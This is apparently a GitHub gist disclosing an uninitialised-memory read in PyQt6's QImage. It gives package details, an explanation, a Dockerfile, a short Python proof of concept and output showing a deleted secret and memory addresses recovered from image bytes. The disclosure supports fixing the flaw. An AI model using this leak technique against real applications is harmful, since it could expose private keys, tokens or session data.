Skip to content

Instantly share code, notes, and snippets.

@keltecc
Last active October 22, 2025 23:49
Show Gist options
  • Select an option

  • Save keltecc/9b6a7e70aceae866f06f5eba04e714b9 to your computer and use it in GitHub Desktop.

Select an option

Save keltecc/9b6a7e70aceae866f06f5eba04e714b9 to your computer and use it in GitHub Desktop.
[PyQt6] read of uninitialized memory

Package details

Package manager: pip

Affected modules: PyQt6

Download stats: 1,066,014 montly (pypistats)

Homepage: https://www.riverbankcomputing.com/software/pyqt/

Module description:

PyQt6 is a comprehensive set of Python bindings for Qt v6. It is implemented as more than 35 extension modules and enables Python to be used as an alternative application development language to C++ on all supported platforms including iOS and Android.

PyQt6 may also be embedded in C++ based applications to allow users of those applications to configure or enhance the functionality of those applications.

Vulnerability overview

Read of the uninitialized memory. Possible risk: leak of sensitive data.

Details

The raw process memory is exposed through a QImage instance.

The object's allocated memory is not zeroed, therefore the created image contains the raw bytes from the already freed memory. It could be used to steal highly sensitive data, such as private keys, auth tokens, session cookies or any other memory artifacts.

Note that other image types (QBitmap, QPixmap, etc) are also affected. The vulnerability remains in older versions of PyQt (PyQt4, PyQt5).

How to reproduce

I've tested it on Ubuntu 24.04 LTS, Debian 12.

There is a simple PoC in file PoC.py. The PoC shows the two cases:

  • leak the content of the deleted variable
  • leak the arbitrary part of the memory

You could use the provided Dockerfile in order to preserve the environment.

  1. Build the image
docker build --tag pyqt6-poc .
  1. Run the image
docker run --rm pyqt6-poc
  1. Expected behaviour
> docker run --rm pyqt6-poc
PyQt6 image content 1: b'{"secret": "leaked!!!!"}{"secret": "leaked!!!!"}{"secret": "leak'
PyQt6 image content 2: b'TB\xe0\x97\x00\x7f;\x00TB\xe0\x97\x00\x7f;\x00"\xfc\x10\xa4\x00UW\x00"\xfc\x10\xa4\x00UW\x00ni\nfc_ohknur\x00\x00f\x00\x00\xb5r\x00\x13\xda\x00pelat_etb'

Please note that the first image contains the value of the secret variable. The second image contains some memory addresses.

FROM python:3.13
RUN apt update && apt install -y python3-pyqt6 libgl1
RUN pip install --upgrade pyqt6 pillow
WORKDIR /tmp
COPY PoC.py .
CMD ["python3", "-u", "PoC.py"]
from PIL import Image
from PyQt6.QtGui import QImage
secret = b'A' * 24*400
secret = b'{"secret": "leaked!!!!"}' * 400
del secret
qimage1 = QImage(24, 400, QImage.Format.Format_RGBA8888)
image1 = Image.fromqimage(qimage1)
print(f'PyQt6 image content 1: {image1.tobytes()[:64]}')
qimage2 = QImage(32, 32, QImage.Format.Format_ARGB32)
image2 = Image.fromqimage(qimage2)
print(f'PyQt6 image content 2: {image2.tobytes()[:64]}')
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment